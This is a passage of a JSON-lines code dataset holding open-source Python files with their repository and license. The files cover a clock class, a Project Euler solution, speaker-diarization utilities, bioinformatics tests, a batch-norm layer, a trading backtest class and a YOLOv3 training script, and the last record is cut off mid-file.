+{"text": "from typing import NoReturn\n\nclass Clock: # Beinhaltet Uhrzeit (h:min)\n _stringv: str\n _h: int\n _m: int\n\n def __init__(self,\n timestring: str = \"00:00\",\n ) -> NoReturn:\n self._stringv = timestring\n self._h = int(self._stringv[0:2])\n self._m = int(self._stringv[3:6])\n\n def __sub__(self, other: 'Clock') -> 'Clock':\n h: int = self._h - other._h\n m: int = self._m - other._m\n ret: Clock = Clock()\n ret._m = m\n ret._h = h\n ret.__fix_negative_minutes()\n ret.__set_time_to_zero_if_negative()\n ret.__stringv_reconstruct()\n return ret\n\n def __fix_negative_minutes(self) -> NoReturn:\n if self._m < 0:\n self._m += 60\n self._h -= 1\n\n def __set_time_to_zero_if_negative(self) -> NoReturn:\n if self._h < 0:\n self._h = 0\n self._m = 0\n\n def __stringv_reconstruct(self) -> NoReturn:\n if self._h < 10:\n self._stringv = \"0\"\n self._stringv += str(self._h)\n else:\n self._stringv = str(self._h)\n self._stringv += \":\"\n if self._m < 10:\n self._stringv += \"0\"\n self._stringv += str(self._m)\n else:\n self._stringv += str(self._m)\n\n @property\n def hash(self) -> int:\n return self.__hash__()\n\n def __hash__(self) -> int:\n return self._h * 60 + self._m\n\n def pprint(self) -> str:\n return self._stringv\n", "source": "kfkonrad/py-stundenplan", "license": "MIT"}
+{"text": "from turterra import app_callbacks, app_layout\nfrom turterra.utils.compound_utility import Compound\n\n__all__ = [\"app_callbacks\", \"app_layout\", \"Compound\"]\n", "source": "BTheDragonMaster/turterra", "license": "MIT"}
+{"text": "import sys\n\nfile = open(\"matrix.txt\", \"r\")\nmats = []\n\nline = file.readline()\nwhile line != \"\":\n mats.append([int(x) for x in line.rstrip().split(',')])\n line = file.readline()\n\nh = len(mats)\nw = len(mats[0])\n\nalst = {}\nalst[(-1,-1)] = {}\nalst[(h,w)] = {}\n\nfor i in range(0, h):\n for j in range(0, w):\n cons = {}\n if i > 0:\n cons[(i-1,j)] = mats[i-1][j]\n if i < h-1:\n cons[(i+1,j)] = mats[i+1][j]\n if j < w-1:\n cons[(i,j+1)] = mats[i][j+1]\n alst[(i,j)] = cons\n\n alst[(-1,-1)][(i,0)] = mats[i][0]\n alst[(i,w-1)][(h,w)] = 0 \n\ndist = {}\ndist[(-1,-1)] = 0\ndist[(h,w)] = sys.maxsize\nfor i in range(0, h):\n for j in range(0, w):\n dist[(i,j)] = sys.maxsize\n\ntoVisit = list(dist.keys())\nwhile len(toVisit) > 0:\n toCheck = {k:dist[k] for k in toVisit}\n key = min(toCheck, key=toCheck.get)\n val = dist[key]\n for t in alst[key]:\n dist[t] = min(dist[t], val + alst[key][t])\n toVisit.remove(key)\n\nprint(dist[(h,w)])\n", "source": "dkaisers/Project-Euler", "license": "Unlicense"}
+{"text": "# -*- coding: utf-8 -*-\n# -*- coding: utf-8 -*-\n#\n# This file is part of S4D.\n#\n# SD4 is a python package for speaker diarization based on SIDEKIT.\n# S4D home page: http://www-lium.univ-lemans.fr/s4d/\n# SIDEKIT home page: http://www-lium.univ-lemans.fr/sidekit/\n#\n# S4D is free software: you can redistribute it and/or modify\n# it under the terms of the GNU Lesser General Public License as\n# published by the Free Software Foundation, either version 3 of the License,\n# or (at your option) any later version.\n#\n# S4D is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU Lesser General Public License for more details.\n#\n# You should have received a copy of the GNU Lesser General Public License\n# along with SIDEKIT. If not, see .\n\n__author__ = 'meignier'\n\nimport sys\nimport os\nfrom sidekit.features_extractor import FeaturesExtractor\nfrom sidekit.features_server import FeaturesServer\nimport logging\nimport re\nimport numpy\n\ndef str2str_normalize(name):\n \"\"\"\n removes accents and replace '_' by '_' the the string speaker\n :param name: the string to nomalize\n :return:\n \"\"\"\n name = name.translate(str.maketrans('\u00c0\u00c1\u00c2\u00c3\u00c4\u00c5\u00e0\u00e1\u00e2\u00e3\u00e4\u00e5\u00d2\u00d3\u00d4\u00d5\u00d6\u00d8\u00f2\u00f3\u00f4\u00f5\u00f6\u00f8\u00c8\u00c9\u00ca\u00cb\u00e8\u00e9\u00ea\u00eb\u00c7\u00e7\u00cc\u00cd\u00ce\u00cf\u00ec\u00ed\u00ee\u00ef\u00d9\u00da\u00db\u00dc\u00f9\u00fa\u00fb\u00fc\u00ff\u00d1\u00f1','AAAAAAaaaaaaOOOOOOooooooEEEEeeeeCcIIIIiiiiUUUUuuuuyNn')).lower()\n name = name.translate(str.maketrans(\"'\",'_'))\n\n name = name.translate(str.maketrans('-','_'))\n return re.sub('_+','_',name)\n\n\ndef path_show_ext(fullpath, shortext=False):\n \"\"\"\n splits a full file path into path, basename and extension\n :param fullpath: str\n :return: the path, the basename and the extension\n \"\"\"\n tmp = os.path.splitext(fullpath)\n ext = tmp[1]\n p = tmp[0]\n if shortext == False:\n while tmp[1] != '':\n tmp = os.path.splitext(p)\n ext = tmp[1] + ext\n p = tmp[0]\n\n path = os.path.dirname(p)\n if path == '':\n path = '.'\n base = os.path.basename(p)\n return path, base, ext\n\ndef levenshtein_distance(s1, s2):\n if len(s1) > len(s2):\n s1, s2 = s2, s1\n distances = range(len(s1) + 1)\n for index2, char2 in enumerate(s2):\n new_distances = [index2 + 1]\n for index1, char1 in enumerate(s1):\n if char1 == char2:\n new_distances.append(distances[index1])\n else:\n new_distances.append(1 + min((distances[index1],\n distances[index1 + 1],\n new_distances[-1])))\n distances = new_distances\n return distances[-1]\n\n\ndef hms(s):\n \"\"\"\n conversion of seconds into hours, minutes and secondes\n :param s:\n :return: int, int, float\n \"\"\"\n h = int(s) // 3600\n s %= 3600\n m = int(s) // 60\n s %= 60\n return '{:d}:{:d}:{:.2f}'.format(h, m, s)\n\n\ndef get_feature_extractor(audio_filename_structure, type_feature_extractor):\n if type_feature_extractor == 'sid':\n fe = FeaturesExtractor(audio_filename_structure=audio_filename_structure,\n feature_filename_structure=None,\n sampling_frequency=16000,\n lower_frequency=133.3333,\n higher_frequency=6855.4976,\n filter_bank=\"log\",\n filter_bank_size=40,\n window_size=0.025,\n shift=0.01,\n ceps_number=13,\n pre_emphasis=0.97,\n keep_all_features=True,\n vad='percentil',\n #vad=None,\n save_param=[\"energy\", \"cep\", \"vad\"]\n )\n elif type_feature_extractor == 'sid8k':\n fe = FeaturesExtractor(audio_filename_structure=audio_filename_structure,\n feature_filename_structure=None,\n sampling_frequency=8000,\n lower_frequency=0,\n higher_frequency=4000,\n filter_bank=\"log\",\n filter_bank_size=24,\n window_size=0.025,\n shift=0.01,\n ceps_number=12,\n pre_emphasis=0.95,\n keep_all_features=True,\n #vad='percentil',\n vad=None,\n save_param=[\"energy\", \"cep\", \"vad\"]\n )\n elif type_feature_extractor == '8k' or type_feature_extractor == '8kcms'\\\n or type_feature_extractor == '8ksns':\n fe = FeaturesExtractor(audio_filename_structure=audio_filename_structure,\n feature_filename_structure=None,\n sampling_frequency=8000,\n lower_frequency=0,\n higher_frequency=4000,\n filter_bank=\"log\",\n filter_bank_size=24,\n window_size=0.025,\n shift=0.01,\n ceps_number=13,\n pre_emphasis=0.97,\n keep_all_features=True,\n #vad='percentil',\n vad=None,\n save_param=[\"energy\", \"cep\", \"vad\"]\n )\n elif type_feature_extractor == 'basic':\n fe = FeaturesExtractor(audio_filename_structure=audio_filename_structure,\n feature_filename_structure=None,\n sampling_frequency=16000,\n lower_frequency=133.3333,\n higher_frequency=6855.4976,\n filter_bank=\"log\",\n filter_bank_size=40,\n window_size=0.025,\n shift=0.01,\n ceps_number=13,\n pre_emphasis=0.97,\n keep_all_features=True,\n vad=None,\n save_param=[\"energy\", \"cep\", \"vad\"]\n )\n else:\n logging.error('in get_feature_server, type_fe not found: ' + type_feature_extractor)\n return None\n return fe\n\n\ndef get_feature_server(filename_structure, feature_server_type):\n path, show, ext = path_show_ext(filename_structure)\n feature_filename_structure = None\n logging.info(path+' ## '+show+' ## '+ext)\n if ext.endswith('.h5') or ext.endswith('.hdf5'):\n feature_extractor = None\n feature_filename_structure = filename_structure\n logging.info('feature extractor --> None')\n else:\n audio_filename_structure = filename_structure\n feature_extractor = get_feature_extractor(audio_filename_structure, type_feature_extractor=feature_server_type)\n logging.info('-'*20)\n logging.info(feature_extractor)\n logging.info('-'*20)\n if feature_server_type == 'basic':\n feature_server = FeaturesServer(features_extractor=feature_extractor,\n feature_filename_structure=feature_filename_structure,\n dataset_list=('energy', 'cep'),\n keep_all_features=True)\n elif feature_server_type == 'sns':\n feature_server = FeaturesServer(features_extractor=feature_extractor,\n feature_filename_structure=feature_filename_structure,\n dataset_list=('cep'),\n delta=True,\n keep_all_features=True)\n elif feature_server_type == 'sns_dnn':\n feature_server = FeaturesServer(features_extractor=feature_extractor,\n feature_filename_structure=feature_filename_structure,\n dataset_list=('cep'),\n delta=True,\n context=(31, 31),\n keep_all_features=True)\n elif feature_server_type == 'sid':\n feature_server = FeaturesServer(features_extractor=feature_extractor,\n feature_filename_structure=feature_filename_structure,\n dataset_list=('energy', 'cep'),\n feat_norm='cmvn_sliding',\n delta=True,\n double_delta=True,\n keep_all_features=True)\n elif feature_server_type == 'sid8k':\n feature_server = FeaturesServer(features_extractor=feature_extractor,\n feature_filename_structure=feature_filename_structure,\n dataset_list=('cep'),\n feat_norm='cmvn_sliding',\n delta=True,\n double_delta=False,\n keep_all_features=True)\n elif feature_server_type == '8k':\n feature_server = FeaturesServer(features_extractor=feature_extractor,\n feature_filename_structure=feature_filename_structure,\n dataset_list=('cep'),\n #delta=True,\n keep_all_features=True)\n elif feature_server_type == '8ksns':\n feature_server = FeaturesServer(features_extractor=feature_extractor,\n feature_filename_structure=feature_filename_structure,\n dataset_list=('cep'),\n delta=True,\n keep_all_features=True)\n elif feature_server_type == '8kcms':\n feature_server = FeaturesServer(features_extractor=feature_extractor,\n feature_filename_structure=feature_filename_structure,\n dataset_list=('cep'),\n feat_norm='cms',\n #delta=True,\n keep_all_features=True)\n elif feature_server_type == 'vad':\n feature_server = FeaturesServer(features_extractor=feature_extractor,\n feature_filename_structure=feature_filename_structure,\n dataset_list=('energy'),\n keep_all_features=True)\n else:\n logging.error('in get_feature_server, feature_server_type not found: ' + feature_server_type)\n return None\n logging.info(feature_server)\n return feature_server\n\n# def get_feature_server(input_dir='./{s}.h5', feature_server_type):\n# logging.info('get_feature_server type: '+feature_server_type)\n# if feature_server_type == 'diarization':\n# return FeaturesServer_test(input_dir=input_dir,\n# config='diar_16k')\n# elif feature_server_type == 'sid':\n# return FeaturesServer_test(input_dir=input_dir,\n# config='diar_16k', log_e=True, delta=True,\n# double_delta=True, feat_norm='cms_sliding')\n# elif feature_server_type == 'sad':\n# return FeaturesServer_test(input_dir=input_dir,\n# config='diar_16k', log_e=False, delta=True, double_delta=False)\n# else:\n# logging.error('in get_feature_server, feature_server_type not found: ' + feature_server_type)\n# return None\n\n\n# def save_mfcc(diarization, audio_dir, mfcc_fn, feature_server_type):\n# fh = h5py.File(mfcc_fn, \"w\")\n# diar_out = diarization.copy_structure()\n# shows = diarization.make_index(['show'])\n#\n# for show in shows:\n# # logging.info('mfcc: '+ show)\n# show_diar = shows[show]\n# model_iv = ModelIV()\n# feature_server = get_feature_server(audio_dir, feature_server_type=feature_server_type)\n# model_iv.set_feature_server(feature_server)\n# model_iv.set_diar(show_diar)\n# if feature_server_type == 'sid':\n# model_iv.vad()\n# else:\n# model_iv.diar_vad = show_diar\n#\n# cep_full, _ = feature_server.load(show)\n# cluster_list = model_iv.diar_vad.make_index(['cluster'])\n# index = model_iv.diar_vad.features_by_cluster(show=show, cep_len=cep_full.shape[0])\n# for cluster in cluster_list:\n# logging.info('mfcc: '+show+' '+cluster)\n# mfcc_fn = show+'/'+cluster\n# cep = cep_full[index[cluster], :]\n# vad = numpy.ones(cep.shape[0])\n# diar_out.append(show=mfcc_fn, start=0, stop=cep.shape[0], cluster=cluster)\n# logging.info(cep.shape)\n# write_hdf5(mfcc_fn, fh, cep, None, None, None, label=vad)\n# return diar_out\n\n# def save_mfcc(diarization, audio_dir='./', mfcc_fn='./out.h5', feature_server_type='sid'):\n# fh = h5py.File(mfcc_fn, \"w\")\n# shows = diarization.unique('show')\n# diar_out = diarization.copy_structure()\n# shows = diarization.make_index(['show'])\n# for show in shows:\n# # logging.info('mfcc: '+ show)\n# show_diar = shows[show]\n# model_iv = ModelIV()\n# feature_server = get_feature_server(audio_dir, feature_server_type=feature_server_type)\n# model_iv.set_feature_server(feature_server)\n# model_iv.set_diar(show_diar)\n# if feature_server_type == 'sid':\n# model_iv.vad()\n# else:\n# model_iv.diar_vad = show_diar\n# feature_server.load(show)\n# cep_full = feature_server.cep[0]\n# cluster_list = model_iv.diar_vad.make_index(['cluster'])\n# index = model_iv.diar_vad.features_by_cluster(show=show, cep_len=cep_full.shape[0])\n# for cluster in cluster_list:\n# logging.info('mfcc: '+show+' '+cluster)\n# mfcc_fn = show+'/'+cluster\n# cep = cep_full[index[cluster], :]\n# vad = numpy.ones(cep.shape[0])\n# diar_out.append(show=mfcc_fn, start=0, stop=cep.shape[0], cluster=cluster)\n# write_hdf5(mfcc_fn, fh, cep, label=vad)\n# return diar_out\n\nclass FeatureServerFake(FeaturesServer):\n def __init__(self, cep):\n self.cep = cep\n\n def load(self, show, channel=0, input_feature_filename=None, label=None, start=None, stop=None):\n return self.cep, numpy.ones(self.cep.shape[0], dtype='bool')\n\nclass FeatureServerCache(FeaturesServer):\n def __init__(self, featuresServer):\n self.shows = dict()\n self.featuresServer = featuresServer\n\n\n def load(self, show, channel=0, input_feature_filename=None, label=None, start=None, stop=None):\n key = show\n if label is not None:\n key += '##'+label\n #if start is not None:\n # key += '##'+str(start)+'##'+str(stop)\n #for k in self.shows:\n # logging.info('key: %s', k)\n if key in self.shows:\n #logging.info('load from mem '+key)\n cep = self.shows[key][start:stop,:]\n return cep, numpy.ones(cep.shape[0], dtype='bool')\n else:\n #logging.info('load from disque %s', key)\n cep, lbl = self.featuresServer.load(show, label=label, start=start, stop=stop)\n self.shows[key] = cep\n #logging.info('add: %s %d %d', key, (key in self.shows), True)\n return cep, lbl\n", "source": "AdityaK1211/Final_Year_Project_SCET", "license": "MIT"}
+{"text": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sun Jul 1 16:58:25 2018\n\n@author: suliat16\n\"\"\"\nimport os\nfrom consScore import aminoCons as am\nimport biskit.test\n\nclass test_amino_conservation(biskit.test.BiskitTest):\n\n \"\"\"\n Test suite testing the behaviour of the aminoCons module\n \"\"\"\n\n TAGS = [biskit.test.EXE, biskit.test.LONG]\n\n @classmethod\n def setUpClass(cls):\n cls.filepath = os.getcwd() + os.sep + 'example_data'\n\n def test_clean_alignment(self):\n \"\"\"Tests to see that alignment file and the folder created are deleted\n after calling clean argument\"\"\"\n extra_aln = am.build_alignment(self.filepath +os.sep + 'multiFasta.fasta')\n self.assertTrue(os.path.exists(extra_aln))\n am.clean_alignment(extra_aln, cache=False)\n self.assertFalse(os.path.exists(extra_aln))\n\n def test_exe_mafft(self):\n \"\"\"Tests that the Mafft executor module calls mafft\"\"\"\n extra_aln = am.MAFFT(self.filepath + os.sep + 'multiFasta.fasta')\n aln_path = extra_aln.run()\n self.assertTrue(os.path.exists(aln_path))\n am.clean_alignment(aln_path, cache=False)\n self.assertFalse(os.path.exists(aln_path))\n\n def test_get_alpha_g(self):\n \"\"\"Tests that get alpha can retrieve the alpha parameter from the file\"\"\"\n digit = am.get_alpha(self.filepath + os.sep + 'multiFasta.res')\n self.assertEqual(digit, 2.83688)\n \n def test_get_alpha_nofile(self):\n \"\"\"Test that an error is raised if a non-existent file is given to get_alpha\"\"\"\n with self.assertRaises(FileNotFoundError):\n am.get_alpha(self.filepath + os.sep + 'TheTree.txt')\n\n def test_getalpha_badfile(self):\n \"\"\"Tests that an error is raised if get_alpha is called on an incompatible file\"\"\"\n with self.assertRaises(am.Rate4SiteError) as cm:\n am.get_alpha(self.filepath + os.sep + 'Fak2Human.fasta')\n err = cm.exception\n self.assertEqual(str(err), 'File format is not supported')\n\n def test_r2mat_g(self):\n \"\"\"Tests that r2mat outputs the correct defaults for the dictionary\"\"\"\n test = am.Rate4Site(self.filepath + os.sep + 'multiFasta.fasta')\n output = test.rate2dict(self.filepath + os.sep + 'multiFasta.res')\n dictionary = {0:('A', 0.6979),\n 1:('A', 0.6979),\n 2:('C', 0.7026),\n 3:('C', 0.7026),\n 4:('G', 0.1769),\n 5:('G', 0.1769),\n 6:('T', -1.577),\n 7:('T', -1.577)}\n self.assertDictEqual(dictionary, output)\n\n def test_r2mat_multi(self):\n \"\"\"Tests that the correct dictionary is output when some parameters are set\"\"\"\n test = am.Rate4Site(self.filepath + os.sep + 'multiFasta.fasta', score=True, qqint=True, gapped=True)\n output = test.rate2dict(self.filepath + os.sep + 'multiFasta.res')\n dictionary = {0:('A', 0.6979, (-1.946, 2.735), '3/3'),\n 1:('A', 0.6979, (-1.946, 2.735), '3/3'),\n 2:('C', 0.7026, (-1.946, 2.735), '3/3'),\n 3:('C', 0.7026, (-1.946, 2.735), '3/3'),\n 4:('G', 0.1769, (-2.332, 1.853), '3/3'),\n 5:('G', 0.1769, (-2.332, 1.853), '3/3'),\n 6:('T', -1.577, (-3.889, -0.7852), '3/3'),\n 7:('T', -1.577, (-3.889, -0.7852), '3/3')}\n self.assertDictEqual(output, dictionary)\n\n def test_r2mat_score(self):\n \"\"\"Tests that correct dictionary is output when other parameters are set\"\"\"\n test = am.Rate4Site(self.filepath + os.sep + 'multiFasta.fasta', score=False, qqint=True, gapped=True, std=True)\n output = test.rate2dict(self.filepath + os.sep + 'multiFasta.res')\n dictionary = {0:('A', (-1.946, 2.735), 2.836, '3/3'),\n 1:('A', (-1.946, 2.735), 2.836, '3/3'),\n 2:('C', (-1.946, 2.735), 2.836, '3/3'),\n 3:('C', (-1.946, 2.735), 2.836, '3/3'),\n 4:('G', (-2.332, 1.853), 2.725, '3/3'),\n 5:('G', (-2.332, 1.853), 2.725, '3/3'),\n 6:('T', (-3.889, -0.7852), 2.309, '3/3'),\n 7:('T', (-3.889, -0.7852), 2.309, '3/3')}\n self.assertDictEqual(output, dictionary)\n\n def test_r2prof(self):\n \"\"\"tests that rate2profile correctly creates profile collections with the correct output\"\"\"\n test = am.Rate4Site(self.filepath + os.sep + 'multiFasta.fasta', qqint=True, std=True, gapped=True)\n output = test.rate2profile(self.filepath + os.sep + 'multiFasta.res')\n self.assertEqual(5, len(output))\n self.assertTrue('Amino Acid' in output)\n self.assertTrue('Conservation Score' in output)\n self.assertTrue('Standard Deviation' in output)\n self.assertTrue('QQ interval' in output)\n self.assertTrue('Gapped' in output)\n self.assertTrue(isinstance(output, biskit.ProfileCollection))\n\n def test_r2prof_default(self):\n \"\"\"Tests that the default rate2site instantiation produces the right profile\"\"\"\n test = am.Rate4Site(self.filepath + os.sep + 'multiFasta.fasta')\n output = test.rate2profile(self.filepath + os.sep + 'multiFasta.res')\n self.assertTrue('Amino Acid' in output)\n self.assertTrue('Conservation Score' in output)\n self.assertEqual(2, len(output))\n self.assertTrue(isinstance(output, biskit.ProfileCollection))\n\n def test_r4s_close(self):\n \"\"\"Tests to see that close deletes the correct files\"\"\"\n r4sobject = am.Rate4Site(self.filepath + os.sep + 'multiFasta.aln')\n r4sobject.run()\n self.assertTrue(os.path.isfile(os.getcwd() + os.sep + 'multiFasta.res'))\n r4sobject.close()\n self.assertFalse(os.path.isfile(os.getcwd() + os.sep + 'multiFasta.res'))\n self.assertFalse(os.path.isdir(os.getcwd() + os.sep + 'multiFasta'))\n\n @classmethod\n def tearDownClass(cls):\n am.clean_alignment(os.getcwd() + os.sep + 'multiFasta.aln', cache=False)\n\nif __name__ == '__main__':\n biskit.test.localTest()\n", "source": "suliat16/consScore", "license": "MIT"}
+{"text": "\"\"\"Batch norm layer\"\"\"\nfrom torch import nn as tnn\nfrom .base import Module, nitorchmodule\n\n\nclass BatchNorm(Module):\n \"\"\"Batch normalization layer.\"\"\"\n def __init__(self, dim, nb_channels, *args, **kwargs):\n \"\"\"\n Parameters\n ----------\n dim : {1, 2, 3}\n Spatial dimension\n nb_channels : int\n Number of channels in the input image\n eps : float, default=1e-5\n A value added to the denominator for numerical stability\n momentum : float, default=0.1\n The value used for the running_mean and running_var computation.\n Can be set to ``None`` for cumulative moving average\n (i.e. simple average).\n affine : bool, default=True\n When ``True``, this module has learnable affine parameters.\n track_running_stats : bool, default=True\n If``True``, track the running mean and variance.\n If ``False``, do not track such statistics and use batch\n statistics instead in both training and eval modes if the\n running mean and variance are ``None``\n\n \"\"\"\n super().__init__()\n\n # Store dimension\n self.dim = dim\n\n # Select Layer\n if dim == 1:\n self.batchnorm = nitorchmodule(tnn.BatchNorm1d)(nb_channels, *args, **kwargs)\n elif dim == 2:\n self.batchnorm = nitorchmodule(tnn.BatchNorm2d)(nb_channels, *args, **kwargs)\n elif dim == 3:\n self.batchnorm = nitorchmodule(tnn.BatchNorm3d)(nb_channels, *args, **kwargs)\n else:\n NotImplementedError('BatchNorm is only implemented in 1, 2, or 3D.')\n\n def forward(self, x):\n \"\"\"Forward pass.\n\n Parameters\n ----------\n x : (batch, channel, *spatial) tensor\n Input tensor\n\n Returns\n -------\n x : (batch, channel, *spatial) tensor\n Normalized tensor\n\n \"\"\"\n return self.batchnorm(x)\n\n def __str__(self):\n s = [f'{self.batchnorm.num_features}']\n if self.batchnorm.eps != 1e-5:\n s += [f'eps={eps}']\n if self.batchnorm.momentum != 0.1:\n s += [f'momentum={momentum}']\n if not self.batchnorm.affine:\n s += [f'affine=False']\n if not self.batchnorm.track_running_stats:\n s += [f'track_running_stats=False']\n s = ', '.join(s)\n return f'BatchNorm({s})'\n \n __repr__ = __str__\n", "source": "liamchalcroft/nitorch", "license": "MIT"}
+{"text": "import sys; sys.path.append('../tde')\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport tde\n\n# tri dislocation parameters\npr = 0.25\n#ss = -1.\nss = 0.\n#ts = 0.\nts = -1.\nds = 0.\nN = 30\n\nsx, sy, sz = np.meshgrid( np.linspace(0, 100, N), np.linspace(0, 100, N), 0)\n\nsxr = sx.ravel(order='F')\nsyr = sy.ravel(order='F')\nszr = sz.ravel(order='F')\n\nX = np.array([40., 60., 40.])\nY = np.array([50., 50., 30.])\nZ = np.array([0., 0., 20.])\n\nS = tde.calc_tri_strains(sxr, syr, szr, X, Y, Z, pr, ss, ts, ds)\n\nU = tde.calc_tri_displacements(sxr, syr, szr, X, Y, Z, pr, ss, ts, ds)\n\n\n#plt.figure()\n#plt.quiver(sxr, syr, U['x'], U['y'])\n\n#plt.show()\n", "source": "uc-eqgeo/rnc2-earthquakes", "license": "MIT"}
+{"text": "# -*- coding: utf-8 -*-\n\"\"\"Functions from market data\"\"\"\n\n__author__ = \"Miguel Martin\"\n__version__ = \"1\"\n\nimport numpy as np\nfrom pyquanttrade.engine.utils import (\n max_drawdown_ratio,\n max_drawdown_value,\n safe_div,\n safe_min,\n safe_sum,\n safe_mean,\n)\nfrom pyquanttrade.engine.test_summary import TestSummary\nfrom pyquanttrade.engine.stats.daily_stats import DailyStats\nfrom pyquanttrade.engine.stats.summary_stats import SystemSummaryStats\nfrom pyquanttrade.engine.stats.trade_stats import TradeSummaryStats\nfrom pyquanttrade.engine.trade import TradeList\n\n\nclass TestResult:\n def __init__(self, data_sim, ticker, capital):\n self.data = DailyStats(data_sim, ticker, capital)\n self.capital = capital\n\n def add_ticker(self, data_sim, ticker, capital):\n self.data.add_ticker(data_sim, ticker, capital) \n\n def update(self, i, trade_list, ticker):\n self.data.update(i,trade_list, ticker)\n\n def describe(self, baseline=False):\n self.data.generate_all_stats()\n\n summary_stats = SystemSummaryStats(self.data)\n trade_summary_stats = {ticker:TradeSummaryStats(self.data.trade_list.clone(ticker), \n self.data.long_ticker[ticker], \n self.data.short_ticker[ticker], \n self.data.global_ticker[ticker], \n self.data.tickers_capital[ticker]) for ticker in self.data.tickers}\n \n trade_summary_stats['all'] = TradeSummaryStats(self.data.trade_list, self.data.long_all, self.data.short_all, self.data.global_all, np.sum(list(self.data.tickers_capital.values())))\n \n trade_summary_table = {t:v.toDataFrame() for (t,v) in trade_summary_stats.items()}\n return TestSummary(summary_stats.ticker_stats, trade_summary_table)\n\n\n", "source": "marqueles/pyquanttrade", "license": "BSD-2-Clause"}
+{"text": "# Copyright (c) 2020 PaddlePaddle Authors. All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport argparse\nimport contextlib\nimport os\n\nimport numpy as np\n\nimport paddle\nfrom paddle import fluid\nfrom paddle.fluid.optimizer import Momentum\nfrom paddle.io import DataLoader, DistributedBatchSampler\nfrom paddle.vision.transforms import Compose, BatchCompose\n\nfrom modeling import yolov3_darknet53, YoloLoss\nfrom coco import COCODataset\nfrom coco_metric import COCOMetric\nfrom transforms import *\nfrom utils import print_arguments\n\nNUM_MAX_BOXES = 50\n\n\ndef make_optimizer(step_per_epoch, parameter_list=None):\n base_lr = FLAGS.lr\n warmup_steps= 1000\n momentum = 0.9\n weight_decay = 5e-4\n boundaries = [step_per_epoch * e for e in [200, 250]]\n values = [base_lr * (0.1**i) for i in range(len(boundaries) + 1)]\n learning_rate = paddle.optimizer.PiecewiseLR(\n boundaries=boundaries, values=values)\n learning_rate = paddle.optimizer.LinearLrWarmup(\n learning_rate=learning_rate,\n warmup_steps=warmup_steps,\n start_lr=base_lr / 3.,\n end_lr=base_lr)\n optimizer = paddle.optimizer.Momentum(\n learning_rate=learning_rate,\n weight_decay=weight_decay,\n momentum=momentum,\n parameters=parameter_list)\n return optimizer\n\n\ndef main():\n paddle.enable_static() if FLAGS.dynamic else None\n\n if not FLAGS.eval_only: # training mode\n train_transform = Compose([\n ColorDistort(), RandomExpand(), RandomCrop(), RandomFlip(),\n NormalizeBox(), PadBox(), BboxXYXY2XYWH()\n ])\n\n train_collate_fn = BatchCompose([RandomShape(), NormalizeImage()])\n dataset = COCODataset(\n dataset_dir=FLAGS.data,\n anno_path='annotations/instances_train2017.json',\n image_dir='train2017',\n with_background=False,\n mixup=True,\n transform=train_transform)\n batch_sampler = DistributedBatchSampler(\n dataset, batch_size=FLAGS.batch_size, shuffle=True, drop_last=True)\n loader = DataLoader(\n dataset,\n batch_sampler=batch_sampler,\n num_workers=FLAGS.num_workers,\n return_list=True,\n collate_fn=train_collate_fn)\n else: # evaluation mode\n eval_transform = Compose([\n ResizeImage(target_size=608), NormalizeBox(), PadBox(),\n BboxXYXY2XYWH()\n ])\n\n eval_collate_fn = BatchCompose([NormalizeImage()])\n dataset = COCODataset(\n dataset_dir=FLAGS.data,\n anno_path='annotations/instances_val2017.json',\n image_dir='val2017',\n with_background=False,\n transform=eval_transform)\n # batch_size can only be 1 in evaluation for YOLOv3\n # prediction bbox is a LoDTensor\n batch_sampler = DistributedBatchSampler(\n dataset, batch_size=1, shuffle=False, drop_last=False)\n loader = DataLoader(\n dataset,\n batch_sampler=batch_sampler,\n num_workers=FLAGS.num_workers,\n return_list=True,\n collate_fn=eval_collate_fn)\n\n pretrained = FLAGS.eval_only and FLAGS.weights is None\n model = yolov3_darknet53(\n num_classes=dataset.num_classes,\n num_max_boxes=NUM_MAX_BOXES,\n model_mode='eval' if FLAGS.eval_only else 'train',\n pretrained=pretrained)\n\n if FLAGS.pretrain_weights and not FLAGS.eval_only:\n model.load(\n FLAGS.pretrain_weights, skip_mismatch=True, reset_optimizer=True)\n\n optim = make_optimizer(\n len(batch_sampler), parameter_list=model.parameters())\n\n model.prepare(\n optimizer=optim, loss=YoloLoss(num_classes=dataset.num_classes))\n\n # NOTE: we implement COCO metric of YOLOv3 model here, separately\n # from 'prepare' and 'fit' framework for follwing reason:\n # 1. YOLOv3 network structure is different between 'train' and\n # 'eval' mode, in 'eval' mode, output prediction bbox is not the\n # feature map used for YoloLoss calculating\n # 2. COCO metric behavior is also different from defined Metric\n # for COCO metric should not perform accumulate in each iteration\n # but only accumulate at the end of an epoch\n if FLAGS.eval_only:\n if FLAGS.weights is not None:\n model.load(FLAGS.weights, reset_optimizer=True)\n preds = model.predict(loader, stack_outputs=False)\n _, _, _, img_ids, bboxes = preds\n\n anno_path = os.path.join(FLAGS.data,\n 'annotations/instances_val2017.json')\n coco_metric = COCOMetric(anno_path=anno_path, with_background=False)\n for img_id, bbox in zip(img_ids, bboxes):\n coco_metric.update(img_id, bbox)\n coco_metric.accumulate()\n coco_metric.reset()\n return\n\n if FLAGS.resume is not None:\n model.load(FLAGS.resume)\n\n save_dir = FLAGS.save_dir or 'yolo_checkpoint'\n\n model.fit(train_data=loader,\n epochs=FLAGS.epoch - FLAGS.no_mixup_epoch,\n save_dir=os.path.join(save_dir, \"mixup\"),\n save_freq=10)\n\n # do not use image mixup transfrom in the last FLAGS.no_mixup_epoch epoches\n dataset.mixup = False\n model.fit(train_data=loader,\n epochs=FLAGS.no_mixup_epoch,\n save_dir=os.path.join(save_dir, \"no_mixup\"),\n save_freq=5)\n\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser(\"Yolov3 Training on VOC\")\n parser.add_argument(\n \"--data\",\n type=str,\n default='dataset/voc',\n help=\"path to dataset directory\")\n parser.add_argument(\n \"--device\", type=str, default='gpu', help=\"device to 